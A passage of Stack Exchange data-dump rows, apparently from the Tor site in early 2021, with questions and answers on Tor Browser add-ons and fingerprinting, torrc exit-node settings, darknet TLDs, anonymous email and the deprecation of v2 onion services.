  <row Id="21995" PostTypeId="2" ParentId="21298" CreationDate="2021-02-03T01:29:30.590" Score="0" Body="&lt;p&gt;**** I solved this problem earlier, if it can help another person I would be happy **&#xA;menu.customized, deactivate the title bar (bottom right) **&lt;/p&gt;&#xA;" OwnerUserId="31682" LastEditorUserId="31682" LastEditDate="2021-02-03T07:55:05.487" LastActivityDate="2021-02-03T07:55:05.487" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21996" PostTypeId="2" ParentId="17066" CreationDate="2021-02-03T02:05:01.037" Score="0" Body="&lt;p&gt;Yes - adding uBlock Origin would definitely make you identifiable and would make you stand out from every other Tor user. The way the Tor browser is made is so that websites can see if you are using the Tor browser, but cannot distinguish you from any other Tor user. uBlock Origin blocks many trackers which is a great thing, but you can easily detect it by testing if a tracker script normally allowed by Tor and NoScript, but blocked by uBlock Origin  and seeing whether it executes or not. Very few Tor users actually use an ad/tracker blocker and so you could easily be detected to be using Tor and uBlock Origin, and could be fingerprinted. Using any Firefox Addon on the Tor browser is already discouraged by the Tor project since it can definitely make you stand out and uBlock Origin isn't an exception. The Tor browser bundle already comes with NoScript and Https Everywhere and also delete all cookies when the user closes the browser. You don't need uBlock Origin on the Tor browser.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastActivityDate="2021-02-03T02:05:01.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21997" PostTypeId="1" CreationDate="2021-02-03T06:37:33.370" Score="0" ViewCount="50" Body="&lt;p&gt;...and don't get the red web page that says &amp;quot;something went wrong&amp;quot;, this is version 10.0.9 on Windows, this didn't happened before, the startup was smooth. wtf ?&lt;/p&gt;&#xA;" OwnerUserId="31584" LastEditorUserId="31584" LastEditDate="2021-02-03T14:24:24.340" LastActivityDate="2021-02-03T14:24:24.340" Title="Why I always need to start Tor at least two times so it starts correctly?" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21998" PostTypeId="2" ParentId="21952" CreationDate="2021-02-03T14:28:51.690" Score="0" Body="&lt;p&gt;They don't insure anything man, you can buy through the dark web but it will be shipped to your home and personal address !&lt;/p&gt;&#xA;" OwnerUserId="31584" LastActivityDate="2021-02-03T14:28:51.690" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21999" PostTypeId="1" AcceptedAnswerId="22000" CreationDate="2021-02-03T15:10:20.123" Score="2" ViewCount="388" Body="&lt;p&gt;I know not to install Firefox addons or plugins as it can compromise your privacy as stated by the Tor project. But what are the specific ways these addons can remove your anonymity and how can users avoid having to use them?&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-02-04T14:27:28.303" LastActivityDate="2021-02-05T18:14:01.663" Title="Q &amp; A: How do Firefox addons remove your privacy and anonymity while using the Tor browser?" Tags="|tor-browser-bundle|anonymity|add-on|plugin|torproject.org|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22000" PostTypeId="2" ParentId="21999" CreationDate="2021-02-03T15:10:20.123" Score="2" Body="&lt;h3&gt;How Firefox Addons remove your anonymity/privacy:&lt;/h3&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The addon collects data on the Tor browser user. Many addons usually collect some form of data and even if the Tor browser does protect the user to some extent, it's still going to hurt the user's privacy.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Example addon: Last Pass Password Manager (there are many others)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Last Pass Password Manager is a frequently used Firefox Addon and a few Tor users even use it. However, in the extension's private policy, it clearly states that it collects many types of data including your IP address, location information, Operating System, language, and: &amp;quot;unique device identifiers and other diagnostic data&amp;quot;. Last Pass even uses Google Analytics which is subject to Google's private policy. Furthermore, it uses cookies to track you for login, preferences, advertisements, and security purposes. The Last Pass addon also determines the user's location through a variety of methods. While some of these tracking methods can be combated by the Tor browser, it is very likely that at least some data is collected about the user.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The addon is easily identifiable and can be used to fingerprint the user. Websites can detect if the user is using an addon and Tor and fingerprint them based on this.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Example addon: uBlock Origin (there are many others)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;uBlock Origin is a very common Firefox and Addon and it has even been suggested to the Tor project to be enabled by default. Though, uBlock Origin blocks many trackers to help the user, but you can easily detect it by testing if a tracker script normally allowed when browsing Tor, but blocked by uBlock Origin and seeing whether it executes or not. Very few Tor users actually use an tracker blocker and so you could easily be detected to be using Tor and uBlock Origin, and could be fingerprinted. The Tor browser bundle already comes with NoScript and Https Everywhere and also delete all cookies when the user closes the browser. You don't need uBlock Origin on the Tor browser when the Tor browser already comes ready to block trackers - the addon would only help fingerprint you. This also applies for similar extensions including &lt;strong&gt;Adblock Plus&lt;/strong&gt;, &lt;strong&gt;Privacy Badger&lt;/strong&gt;, &lt;strong&gt;Ghostery&lt;/strong&gt;, etc.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Possibly the worst way&lt;/strong&gt; The addon tries to access the internet and doesn't use Tor, revealing your IP address and exposing you. Your location can be estimated using your IP address.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Example addon: This can be any addon!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;It only takes one addon to expose you through this. If the addon needs to connect to the internet and does so without Tor, it makes it easy to track you. This doesn't need to be elaborated upon. Just that simple.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Overall most addons fall into one of these categories or more. That's why you shouldn't use addons with the Tor browser. There are many more ways addons can expose your identity but these are just 3 main ways.&#xA;So how can we avoid using these addons we've come to depend upon?&lt;/p&gt;&#xA;&lt;h3&gt;How to avoid using Firefox addons?&lt;/h3&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Avoid installing addons which block trackers&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;While using a standard, conventional web browser, tracker blocking extensions come in handy since most web browsers don't automatically come blocking trackers (except for maybe Brave and Opera since they have built in ad/tracker blockers. However, the Tor browser already takes care of this issue by deleting all cookies when the browser is closed and having NoScript enabled by default to block tracking scripts. There is even an option to disable JavaScript on the Tor browser for the safest experience. By utilizing the settings the Tor browser comes with by default, you don't need addons to block trackers. Of course, data will always be collected, but the Tor browser makes sure it's collected anonymously. You can never stop a website from collecting anonymous data no matter what you try to do. Websites should have the right to collect anonymous data as they have the right to improve their services since you are using them.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Avoid installing addons which block advertisements&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The reason adblockers were first created were to stop all the annoying flashy ads and popups that were so unethical and advertisements that personalized you. By using NoScript and by disabling JavaScript most annoying ads which personlaized you aren blocked. It's only right though if websites do get to display ads since that's the developers need a source of income. Fair advertisements should be alright, and the unfair ads can be blocked in Tor.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Avoid installing addons for password managers&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;As I have shown before the Last Pass Password Manager collects personal data on its users and it's just not worth installing these types of addons. Password managers can collect a variety of data through login and password systems and just in general. You can have an application like notepad to store your passwords and that's more of a better solution in terms of protecting your privacy. It's a better alternative to using addons for password managers.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Avoid installing any addon for convenience&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The Tor browser wasn't created for convenience ; it was created for privacy. Most addons made for convenience aren't necessary since they are most likely collecting data on you. Think about this: if most Tor users don't need to use your addon, why would you even need to have the addon.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3&gt;Summary:&lt;/h3&gt;&#xA;&lt;p&gt;Most addons in general are not concerned about your privacy and will expose you. Addons should be used for more conventional standard browsers like Firefox. If you have any addons installed already other than NoScript and Https Everywhere, uninstall them as soon as you can. It would also help to check the private policies of addons you install on other browsers as well in general if you do care about your privacy even during a regular browsing experience. I hope this answer gave you a sense of exactly why you shouldn't use an addon in Firefox.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-02-05T18:14:01.663" LastActivityDate="2021-02-05T18:14:01.663" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22001" PostTypeId="1" CreationDate="2021-02-04T07:20:07.547" Score="1" ViewCount="3441" Body="&lt;p&gt;Some websites are able to detect that you are using Tor network and block your connection. The most well-known example is &lt;a href=&quot;https://google.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://google.com&lt;/a&gt;, which will re-direct you to a Captcha page on most exit nodes. However, sometimes you can request a new exit node and get lucky, and the website will allow you to connect.&lt;/p&gt;&#xA;&lt;p&gt;Is there a way to force Tor Browser to always connect to a specific exit node for a certain website? For example, I want to find a &amp;quot;good&amp;quot; exit node that allows me to connect to &lt;a href=&quot;https://google.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://google.com&lt;/a&gt;, and then whenever I visit that site in the future I will always connect from the &amp;quot;good&amp;quot; exit node.&lt;/p&gt;&#xA;&lt;p&gt;I imagine this will require adding a line to my &lt;code&gt;torrc&lt;/code&gt; file. The closest thing I have found are &lt;a href=&quot;https://communitydocs.accessnow.org/147-Tor_force_exit_nodes.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;these instructions&lt;/a&gt;, but this seems to be for using one exit node across ALL websites, not specific ones.&lt;/p&gt;&#xA;" OwnerUserId="28442" LastEditorUserId="31632" LastEditDate="2021-05-25T20:41:29.810" LastActivityDate="2021-05-25T20:41:29.810" Title="How to force Tor Browser to use specific exit node for specific website" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22003" PostTypeId="1" CreationDate="2021-02-06T06:31:19.737" Score="1" ViewCount="183" Body="&lt;p&gt;I'll bet a lot of spammers and abusers and also use Tor, and Tor exit points are limited. If I happen to be assigned a Tor endpoint that was recently used to abuse the StackExchange or Reddit, they could falsely believe I'm the one responsible. Is it safe or a good idea to use these sites over Tor?&lt;/p&gt;&#xA;" OwnerUserId="31697" LastActivityDate="2021-02-08T11:49:51.030" Title="Is it safe to use StackExchange or Reddit over Tor?" Tags="|ip-address|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22006" PostTypeId="1" AcceptedAnswerId="22007" CreationDate="2021-02-07T05:33:47.243" Score="2" ViewCount="1074" Body="&lt;p&gt;Clearnet has hundreds of top-level domain extensions (TLDs): .com, .net, .org, .co.uk, .tv, etc&lt;/p&gt;&#xA;&lt;p&gt;It's hard to believe that only one TLD, .onion, was made for the darknet. Are there any other domain extensions used for darknet sites?&lt;/p&gt;&#xA;&lt;p&gt;If not, why, and would there be any need for, or ways to, bring a TLD into mass adoption amongst darknet users?&lt;/p&gt;&#xA;" OwnerUserId="31488" LastActivityDate="2021-02-07T17:57:57.583" Title="Besides .onion, what other domain extensions exist for the darknet?" Tags="|onion-routing|darknet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22007" PostTypeId="2" ParentId="22006" CreationDate="2021-02-07T08:30:27.340" Score="2" Body="&lt;p&gt;Onion services can only use a single TLD (&lt;em&gt;.onion&lt;/em&gt;). The Tor network is designed to use only one TLD and you would need to modify all Tor clients and servers if you wanted to support more.&lt;/p&gt;&#xA;&lt;p&gt;As the address space for onion addresses will never run out and addresses are not human-readable, there's no practical need for additional TLDs. Multiple TLDs for onion services would also harm usability as it would be more difficult for users to know if they're connecting to an onion service or a regular DNS-based address. The '.onion' TLD is the only Tor-related TLD officially recognized by ICANN, and I think it would be unlikely that they would recognize others without a good reason.&lt;/p&gt;&#xA;&lt;p&gt;In addition, the Tor Project also &lt;a href=&quot;https://blog.torproject.org/new-release-tor-browser-95&quot; rel=&quot;nofollow noreferrer&quot;&gt;gives &lt;em&gt;.tor.onion&lt;/em&gt; addresses&lt;/a&gt; to special organizations such as The Intercept for their Secure Drop instance (&lt;a href=&quot;http://theintercept.securedrop.tor.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;theintercept.securedrop.tor.onion&lt;/a&gt;), but this is in testing and is not available to regular people.&lt;/p&gt;&#xA;&lt;p&gt;To summarize, there is only a single TLD for onion services and if you wanted more, you would need to convince the Tor Project to build support for it, which would be very unlikely.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-02-07T08:30:27.340" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22008" PostTypeId="2" ParentId="22006" CreationDate="2021-02-07T11:42:50.173" Score="2" Body="&lt;p&gt;It depends on what you mean by &lt;em&gt;Dark Net&lt;/em&gt;.  There are several TLDs used for different systems of anonymous internet access.&lt;/p&gt;&#xA;&lt;p&gt;Here are a few:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;.bit&lt;/code&gt; used by &lt;a href=&quot;https://zeronet.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Zeronet&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;.i2p&lt;/code&gt; used by the &lt;a href=&quot;https://geti2p.net/en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Invisible Internet Project&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;.loki&lt;/code&gt; used by &lt;a href=&quot;https://loki.network/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Loki&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;.onion&lt;/code&gt; used by the &lt;a href=&quot;https://torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Project&lt;/a&gt; (included for completeness)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Also, there are systems that don't use domains at all or, at least, not as we know them.&lt;br /&gt;&#xA;For example &lt;a href=&quot;https://gnunet.org/en/&quot; rel=&quot;nofollow noreferrer&quot;&gt;GNUnet&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I'd be surprised if there aren't many others too.&lt;/p&gt;&#xA;" OwnerUserId="25432" LastEditorUserId="25432" LastEditDate="2021-02-07T17:57:57.583" LastActivityDate="2021-02-07T17:57:57.583" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22009" PostTypeId="1" CreationDate="2021-02-07T14:29:11.627" Score="0" ViewCount="253" Body="&lt;p&gt;I would like to do a video chat but the TorBrowser doesn't allow websites to ask for access to my camera. Is that because webrtc is disabled? what's the setting to enable to allow it?&lt;/p&gt;&#xA;" OwnerUserId="31705" LastActivityDate="2021-02-07T14:29:11.627" Title="Websites such as jitsi can't access my camera when I use the TorBrowser" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22010" PostTypeId="1" CreationDate="2021-02-07T16:48:44.433" Score="0" ViewCount="36" Body="&lt;p&gt;I am having an issue with routing my onion site to the right directory.&#xA;For instance, it is going to the index of or root directory of the FTP for the site and not the site itself.&#xA;Here are some pictures&#xA;&lt;a href=&quot;https://i.stack.imgur.com/8HMZi.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/8HMZi.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I need it to point to 127.0.0.1/wonderland/index.php&lt;/p&gt;&#xA;" OwnerUserId="31708" LastActivityDate="2021-02-07T16:48:44.433" Title="How do I set a URL in TORRC file I keep getting index of it needs to point to the main directory" Tags="|configuration|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22014" PostTypeId="2" ParentId="22001" CreationDate="2021-02-08T11:26:51.903" Score="-1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Dont use Google us &lt;a href=&quot;https://3g2upl4pq6kufc4m.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;DuckDuckGo.onion&lt;/a&gt; or &lt;a href=&quot;https://duckduckgo.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;DuckDuckGo.com&lt;/a&gt;&lt;br&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add to the Tor configuration in the: &amp;quot;&lt;strong&gt;torrc&lt;/strong&gt;&amp;quot; this:&lt;br&gt;&#xA;&lt;br&gt;&lt;/p&gt;&#xA;&lt;p&gt;EntryNodes {in} StrictNodes 1&lt;br&gt;&#xA;ExitNodes {jp} StrictNodes 1&lt;br&gt;&#xA;ExcludeNodes {de},{nl} StrictNodes 1&lt;br&gt;&#xA;ExcludeExitNodes {de},{nl} StrictNodes 1&lt;br&gt;&#xA;GeoIPExcludeUnknown 1&lt;br&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://b3rn3d.herokuapp.com/blog/2014/03/05/tor-country-codes/&quot; rel=&quot;nofollow noreferrer&quot;&gt;List of country codes for Tor&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can also add this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;NewCircuitPeriod 300&#xA;MaxCircuitDirtiness 150&#xA;ConnectionPadding 0&#xA;AvoidDiskWrites 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30713" LastActivityDate="2021-02-08T11:26:51.903" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22016" PostTypeId="1" CreationDate="2021-02-08T12:02:59.340" Score="0" ViewCount="304" Body="&lt;p&gt;I was running Tor-0.2.9.9 till yestoday, thene I updated to the new version Tor-0.4.5.5-rc now i cannot connect to Japan or India anymore and also to some other countries. In version Tor-0.2.9.9 it still works.&lt;/p&gt;&#xA;&lt;p&gt;WHY?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;torrc&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;StrictNodes 1&#xA;EntryNodes {in} &#xA;ExitNodes {in}&#xA;ExcludeNodes {fr},{de},{nl},{gb},{us}&#xA;ExcludeExitNodes {fr},{de},{nl},{gb},{us}&#xA;GeoIPExcludeUnknown 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Living in a bubble&lt;/strong&gt;&lt;br&gt;&#xA;In Tor, it has been possible for a long time to configure the &lt;code&gt;Exit/Entry-Nodes&lt;/code&gt; according to your wishes. In the new Tor versions, if you enter certain country codes for the &lt;code&gt;Exit/Entry-Node&lt;/code&gt; in the config, Tor cannot connect.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Why is that?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I use the old Tor version and I can connect to any country in the world. The majority of Internet users live in a small part of the Internet like in their own world, a bubble.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Same Config - New Tor Version 0.4.5.8&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;[notice] Tor 0.4.5.8 running on Linux with Libevent 2.1.11-stable, OpenSSL 1.1.1f, Zlib 1.2.11, Liblzma 5.2.4, Libzstd 1.4.4 and Glibc 2.31 as libc.&lt;br&gt;&#xA;[notice] Tor can't help you if you use it wrong! Learn how to be safe at &lt;a href=&quot;https://www.torproject.org/download/download#warning&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/download/download#warning&lt;/a&gt;&lt;br&gt;&#xA;[notice] Read configuration file &amp;quot;/usr/local/etc/tor/torrc&amp;quot;.&lt;br&gt;&#xA;[warn] You have asked to exclude certain relays from all positions in your circuits. Expect hidden services and other Tor features to be broken&#xA;in unpredictable ways.&lt;br&gt;&#xA;[notice] Opening Socks listener on 127.0.0.1:9050&lt;br&gt;&#xA;[notice] Opened Socks listener connection (ready) on 127.0.0.1:9050&lt;br&gt;&#xA;[notice] Opening Control listener on 127.0.0.1:9051&lt;br&gt;&#xA;[notice] Opened Control listener connection (ready) on 127.0.0.1:9051&lt;br&gt;&#xA;[notice] Parsing GEOIP IPv4 file /usr/local/share/tor/geoip.&lt;br&gt;&#xA;[notice] Parsing GEOIP IPv6 file /usr/local/share/tor/geoip6.&lt;br&gt;&#xA;[notice] Bootstrapped 0% (starting): Starting&lt;br&gt;&#xA;[warn] Your configuration excludes 100% of all possible guards. That's likely to make you stand out from the rest of the world.&lt;br&gt;&#xA;[notice] Starting with guard context &amp;quot;restricted&amp;quot;&lt;br&gt;&#xA;[warn] Failed to find node for hop #1 of our path.&lt;br&gt;&#xA;Discarding this circuit.&lt;br&gt;&#xA;[notice] Our circuit 0 (id: 1) died due to an invalid selected path, purpose General-purpose client. This may be a torrc configuration issue, or a bug.&lt;br&gt;&#xA;[warn] Failed to find node for hop #1 of our path. Discarding this circuit.&lt;br&gt;&#xA;[warn] Failed to find node for hop #1 of our path. Discarding this circuit.&lt;br&gt;&#xA;[warn] Failed to find node for hop #1 of our path. Discarding this circuit.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Same Config - Old Tor Version 0.2.9.9&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Hyq5l.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hyq5l.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30713" LastEditorUserId="30713" LastEditDate="2021-05-24T17:16:02.230" LastActivityDate="2021-05-24T17:16:02.230" Title="Not possible to connect some countries" Tags="|guard-node|node|entry|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="22017" PostTypeId="1" AcceptedAnswerId="22018" CreationDate="2021-02-08T14:52:56.760" Score="0" ViewCount="340" Body="&lt;p&gt;I've always been told DuckDuckGo is a clearnet search engine. However, in some of my recent searches on researching onion services I've managed to get search results with an onion service URL. I've gotten the Hidden Wiki onion service and even the Silk Road onion service. So does DuckDuckGo crawl the dark web or just have a collection of links to certain onion services and these URLs just come in the search results if the search seems to be on one of these onion services? Also, should DuckDuckGo still be considered a clearnet search engine even if it has dark web results for certain services or is it something different?&lt;/p&gt;&#xA;&lt;p&gt;Images for reference:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DqJsP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DqJsP.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZjfJ9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZjfJ9.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note: In no way do I encourage searching up on DuckDuckGo and going to these hidden services especially if they doing something illegal. I'm just using these search results for a question for research purposes.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastActivityDate="2021-02-08T15:11:24.740" Title="What type of search engine is DuckDuckGo?" Tags="|onion-services|darknet|clear-net|research|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22018" PostTypeId="2" ParentId="22017" CreationDate="2021-02-08T15:11:24.740" Score="3" Body="&lt;p&gt;Neither of those links are to onion services. The first one (&lt;code&gt;https://randomletters.onion.pet&lt;/code&gt;) is a MITM proxy which you can see from the &lt;code&gt;.pet&lt;/code&gt; at the end. The second one (&lt;code&gt;https://otherletters.com&lt;/code&gt;) is a site pretending to be an onion address which you can see by the &lt;code&gt;.com&lt;/code&gt; at the end.&lt;/p&gt;&#xA;&lt;p&gt;So to answer your question, no DuckDuckGo is not indexing onion services.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-02-08T15:11:24.740" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22019" PostTypeId="2" ParentId="21988" CreationDate="2021-02-09T09:04:30.290" Score="4" Body="&lt;p&gt;If you want to stay anonymous, you need to think about every step when using your mail provider.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Registering your account&lt;/li&gt;&#xA;&lt;li&gt;Accessing your mail account&lt;/li&gt;&#xA;&lt;li&gt;Reading your mails&lt;/li&gt;&#xA;&lt;li&gt;Writing your mails&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;You have to assume that your mail provider saves every step you do in your account. This seems especially true for GMail, but also it is also true for others.&lt;/p&gt;&#xA;&lt;p&gt;So when you register for an account, you need to think about anonymity. I'd suggest that you use at least Tor Browser to register for an account. Using &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;tails&lt;/a&gt; might be even better. Sometimes provides want a phone number or some other identifying thing. Make sure that you have a number available which is not registered to your name.&lt;/p&gt;&#xA;&lt;p&gt;Whenever you access your mail account you should use tails or Tor Browser.&lt;/p&gt;&#xA;&lt;p&gt;When you want to write mails, you should use the web interface of the mail provider together with tails or Tor Browser. Don't use an external mail program like Thunderbird, Outlook or similar things. Those software might leak your real IP address. Some mail providers will include the IP address you used to log in in the mail. So everyone who receives the mail sees the IP address.&lt;/p&gt;&#xA;&lt;p&gt;If you make those efforts, I'm pretty sure that you can send anonymous mails from any provider.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2021-02-09T09:04:30.290" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22020" PostTypeId="1" CreationDate="2021-02-09T14:05:34.960" Score="0" ViewCount="38" Body="&lt;p&gt;I was running newest Tor version and every time Tor starts and builds the network to connect it always fails, sometimes I had to restart 2 times to get Tor to build the network correctly, I remember when using Tor 1 year ago this never ever happened, it always build the network on first try so now I decided to download version 9.5 and everything is ok, Tor builds the network on first try at start up, what is the way to totally disable update ?&lt;/p&gt;&#xA;" OwnerUserId="31584" LastEditorUserId="31584" LastEditDate="2021-02-09T19:56:22.810" LastActivityDate="2021-02-09T19:56:22.810" Title="Aren't old versions of Tor more stable at startup ? (Windows 64bit)" Tags="|tor-browser-bundle|configuration|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22022" PostTypeId="1" AcceptedAnswerId="22023" CreationDate="2021-02-10T21:04:54.673" Score="0" ViewCount="271" Body="&lt;p&gt;I have an application that uses v2 addresses-- if both ends (the hidden-service client and the hidden-service server) continue to use older tor client software (that &amp;quot;supports v2 addresses&amp;quot;), will they be able to work indefinitely?  Presumably the actual implementation of the hidden-service resolution is in the network, right?  Are there plans to turn that off in the network?&lt;/p&gt;&#xA;" OwnerUserId="31733" LastActivityDate="2021-02-10T22:14:09.900" Title="When new versions of the tor client stop supporting v2 addresses, will old clients still be able to access v2 addresses?" Tags="|onion-services|network-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22023" PostTypeId="2" ParentId="22022" CreationDate="2021-02-10T22:14:09.900" Score="0" Body="&lt;p&gt;Yes, in order to run/access a v2 service, you need support from the service, client, and network. Even if you keep the client and service running old versions of tor, the relays in the network will eventually update, making the v2 service inaccessible.&lt;/p&gt;&#xA;&lt;p&gt;The Tor Project &lt;a href=&quot;https://blog.torproject.org/v2-deprecation-timeline&quot; rel=&quot;nofollow noreferrer&quot;&gt;gives the following timeline&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;September 15th, 2020&lt;br /&gt;&#xA;0.4.4.x: Tor will start warning onion service operators and clients that v2 is deprecated and will be obsolete in version 0.4.6.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;July 15th, 2021&lt;br /&gt;&#xA;0.4.6.x: Tor will no longer support v2 and support will be removed from the code base.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;October 15th, 2021&lt;br /&gt;&#xA;We will release new Tor client stable versions for all supported series that will disable v2.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It's unclear from this when an official release will be published for relay operators that removes this v2 support, but a &lt;a href=&quot;https://blog.torproject.org/comment/288572#comment-288572&quot; rel=&quot;nofollow noreferrer&quot;&gt;comment on the post&lt;/a&gt; says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The tor 0.4.6 release (July 15th 2021) will prevent new v2 to be created. Once Tor Browser releases with that tor version, yes you also won't be able to reach v2 address as a tor client.&lt;/p&gt;&#xA;&lt;p&gt;By October of that year, we plan to release new tor maintained stable version that remove v2 support meaning that from that point on, progressively the network will upgrade and v2 address won't be reachable.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This seems to say that the network itself will stop supporting v2 services 